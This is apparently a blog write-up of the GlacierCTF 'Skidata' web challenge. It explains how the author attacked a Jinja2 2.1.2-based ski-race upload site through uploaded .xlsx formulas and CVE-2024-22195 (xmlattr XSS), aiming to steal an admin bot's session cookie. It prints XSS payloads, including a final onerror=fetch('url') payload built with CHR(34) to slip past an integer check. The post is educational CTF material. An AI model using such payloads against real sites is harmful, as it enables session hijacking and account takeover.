Zero Day Diaries

Breaking Down Security, Bit by Bit

GlacierCTF: Skidata

Triage:

The website allows users to upload results from a ski race, which are stored in a database and rendered for viewing. Users can report race information to publish it for admin review. Below are the key functionalities of the website:

  • User Creation: Users can create accounts with pseudo-random usernames and user-provided passwords.

  • Session Management: Sessions are maintained using cookies after login.

  • Uploading a Race: Users can upload an .xlsx file containing race data, along with a name and comment.
    • The .xlsx file is processed by pycel, which resolves any formulas within cells and stores the resolved content in the database (e.g., =SUM(1,1) resolves to 2).
    • Input fields are processed by Jinja2 into templates.
    • Endpoint: /new_race

  • Viewing Uploaded Races: Users can view uploaded races, including the file’s name and comment.
    • Endpoint: /race/<id>
    • Users can report races to the admin.
    • A bot loads user-uploaded content using an admin session.

  • Technology Insight: Based on response headers, the site uses Jinja2 3.1.2, a detail leveraged later in the exploitation process.

Approach:

The objective is to obtain the admin username (the flag for this challenge). Since the admin bot views user-controlled input with an admin session, I aim to inject a malicious payload to steal the admin’s session token via XSS. This token can then be used to log in as the admin and retrieve the flag.

Test 1: Jinja Template injection

Since user-uploaded .xlsx data is rendered using Jinja2, I tested for template injection by crafting payloads in .xlsx cells. Example payloads included:

Fig: Excel sheet with various template injection payloads in column Name.

All payloads failed because Flask’s Jinja2 integration uses autoescape, which prevents injection unless explicitly overridden using |safe.

Test 2: Exploiting CVE-2024-22195 (Jinja2 xmlattr XSS)

Jinja2 version 3.1.2 is vulnerable to XSS via the xmlattr filter, which can bypass autoescaping mechanisms.

The Jinja xmlattr filter can be abused to inject arbitrary HTML attribute keys and values, bypassing the auto escaping mechanism and potentially leading to XSS. It may also be possible to bypass attribute validation checks if they are blacklist-based.

This vulnerability was identified in the following code snippet:

Relevant Code:

  • HTML Template (race_data.html):
<img {{ style(result.rank)|xmlattr }} alt="rank-img"/></td>
  • Python Function (app.py):
def style(rank):     return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}

The xmlattr filter processes the style dictionary, generating HTML attributes dynamically. If a malicious payload is injected into the rank field, it could exploit this filter to inject arbitrary attributes like onerror.

Payload tests:

I attempted injecting payloads into the rank field via .xlsx uploads:

x&" onerror="alert('XSS')"

pycel resolves this to

1 onerror=”alert(‘XSS’)”

But the above tests fails because there is a strict integer check which only allows integer values and omits the onerror segment of the payload making the effective payload = 1.

if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
	flash(f"Sheet1!C{row}, Rank must be an integer")
	return redirect(request.url)

Conclusion:

I tried template injection and exploiting CVE related to jinja2 and xmlattr escaping. Although my tests failed, after reviewing the writeup, I was extremely close to a working solution and I only needed a specific character encoding to bypass the strict integer check to exploit xmlattr escaping. Following is the working payload with character encoding.

“x”&CHR(34)&”/onerror=fetch(‘url’)”